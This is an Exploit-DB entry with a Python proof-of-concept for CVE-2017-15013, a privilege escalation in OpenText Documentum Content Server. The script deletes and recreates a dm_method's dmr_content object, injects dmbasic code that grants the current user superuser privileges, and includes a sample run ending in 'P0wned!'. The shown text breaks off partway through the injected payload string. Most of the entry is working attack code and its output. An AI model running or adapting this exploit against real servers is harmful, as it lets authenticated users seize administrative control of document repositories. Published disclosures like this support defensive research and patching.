Exploit-DB #43004
Description: OpenText Documentum Content Server - 'dmr_content' Privilege Escalation
Type: webapps
Platform: multiple
Date: 2017-10-17
Author: Andrey B. Panfilov

Exploit:
#!/usr/bin/env python

# Opentext Documentum Content Server (formerly known as EMC Documentum Content Server)
# contains following design gap, which allows authenticated user to gain privileges
# of superuser:
#
# Content Server stores information about uploaded files in dmr_content objects,
# which are queryable and "editable" (before release 7.2P02 any authenticated user
# was able to edit dmr_content objects, now any authenticated user may delete
# dmr_content object and them create new one with the old identifier) by
# authenticated users, this allows any authenticated user to "modify" security-sensitive
# dmr_content objects (for example, dmr_content related to dm_method objects)
# and gain superuser privileges
#
# The PoC below demonstrates this vulnerability:
#
# MacBook-Pro:~ $ python CVE-2017-15013.py
# usage:
# CVE-2017-15013.py host port user password
# MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377  Linux64.Oracle
# Trying to find any dm_method object with content...
#     Trying to poison docbase method dm_Migration
# Method verb: dmbasic -eMigration_Agent
# Method function: Migration_Agent
# Trying to inject new content:
# Const glabel As String          = "Label"
# Const ginfo As String           = "Info"
# Const gerror As String          = "Error"
#
# Private Sub PrintMessage(mssg As String, mssgtype As String)
# If(mssgtype=glabel) Then
# Print "<BR><B><FONT size=3>"
# Print mssg
# print "</FONT></B>"
# ElseIf(mssgtype=ginfo) Then
# Print "<BR><FONT color=blue>"
# Print mssg
# print "</FONT>"
# ElseIf(mssgtype=gerror) Then
# Print "<BR><FONT color=red size=3>"
# Print mssg
# print "</FONT>"
# Else
# Print "<BR>" & mssg
# End If
# End Sub
# Private Sub SetupSuperUser(TargetUser As String)
# objectid$ = dmAPIGet("id,c,dm_user where user_name = '" & TargetUser & "'")
# If objectid$ <> "" then
# Status = dmAPISet("set,c," & objectid$ & ",user_privileges",16)
# Status = dmAPIExec("save,c," & objectid$)
# End If
# End Sub
#
# Sub Migration_Agent(DocbaseName As String, UserName As String, TargetUser As String)
# Dim SessionID As String
#
# SessionID= dmAPIGet("connect," & DocbaseName & "," & UserName & ",")
# If SessionID ="" Then
# Print "Fail to connect to docbase " & DocbaseName &" as user " & UserName
# DmExit(-1)
# Else
# Print "Connect to docbase " & DocbaseName &" as user " & UserName
# End If
#
# Call SetupSuperUser(TargetUser)
#
# End Sub
#
# Removing method's content
# method's content has been successfully removed
# Creating malicious dmr_content object
# Malicious dmr_content object has been successfully created
# Becoming superuser...
# P0wned!
# MacBook-Pro:~ $ python CVE-2017-15013.py docu72dev01 10001 dm_bof_registry dm_bof_registry
# Trying to connect to docu72dev01:10001 as dm_bof_registry ...
# Connected to docu72dev01:10001, docbase: DCTM_DEV, version: 7.2.0270.0377  Linux64.Oracle
# Current user is a superuser, nothing to do
#



import socket
import sys

from dctmpy import NULL_ID, RPC_APPLY_FOR_BOOL, RPC_APPLY_FOR_OBJECT

from dctmpy.docbaseclient import DocbaseClient
from dctmpy.obj.typedobject import TypedObject

CIPHERS = "ALL:aNULL:!eNULL"


def usage():
    print "usage:\n%s host port user password" % sys.argv[0]


def main():
    if len(sys.argv) != 5:
        usage()
        exit(1)

    (session, docbase) = create_session(*sys.argv[1:5])

    if is_super_user(session):
        print "Current user is a superuser, nothing to do"
        exit(1)

    print "Trying to find any dm_method object with content..."
    method_object = session.get_by_qualification(
        "dm_method WHERE use_method_content=TRUE "
        "and method_verb like 'dmbasic -e%'")
    method_content = session.get_by_qualification(
        "dmr_content where any parent_id='%s'"
        % method_object['r_object_id'])

    print "Trying to poison docbase method %s" % method_object['object_name']
    method_verb = method_object['method_verb']
    print "Method verb: %s" % method_verb
    method_function = method_verb[len("dmbasic -e"):]
    print "Method function: %s" % method_function
    new_content = \
        "Const glabel As String          = \"Label\"\n" \
        "Const ginfo As String           = \"Info\"\n" \
        "Const gerror As String          = \"Error\"\n" \
        "\n" \
        "Private Sub PrintMessage(mssg As String, mssgtype As String)\n" \
        "  If(mssgtype=glabel) Then\n" \
        "            Print \"<BR><B><FONT size=3>\"\n" \
        "            Print mssg\n" \
        "            print \"</FONT></B>\"\n" \
        "  ElseIf(mssgtype=ginfo) Then\n" \
        "            Print \"<BR><FONT color=blue>\"\n" \
        "            Print mssg\n" \
        "            print \"</FONT>\"\n" \
        "  ElseIf(mssgtype=gerror) Then\n" \
        "            Print \"<BR><FONT color=red size=3>\"\n" \
        "            Print mssg\n" \
        "            print \"</FONT>\"\n" \
        "  Else\n" \
        "            Print \"<BR>\" & mssg\n" \
        "  End If\n" \
        "End Sub\n" \
        "Private Sub SetupSuperUser(TargetUser As String)\n" \
        "   objectid$ = dmAPIGet(\"id,c,dm_user where user_name = '\" & TargetUser & \"'\")\n" \
        "   If objectid$ <> \"\" then\n" \
        "      Status = dmAPISet(\"set,c,\" & objectid$ & \",user_privileges\",16)\n" \
        "      Status = dmAPIExec(\"save,c,\" & objectid$)\n" \
        "   End If\n" \
        "End Sub\n" \
        "\n" \
        "Sub %s(DocbaseName As String, UserName As String, TargetUser As String)\n" \
        "  Dim SessionID As String\n" \
        "\n" \
        "  SessionID= dmAPIGet(\"connect,\" & DocbaseName & \",\" & UserName & \"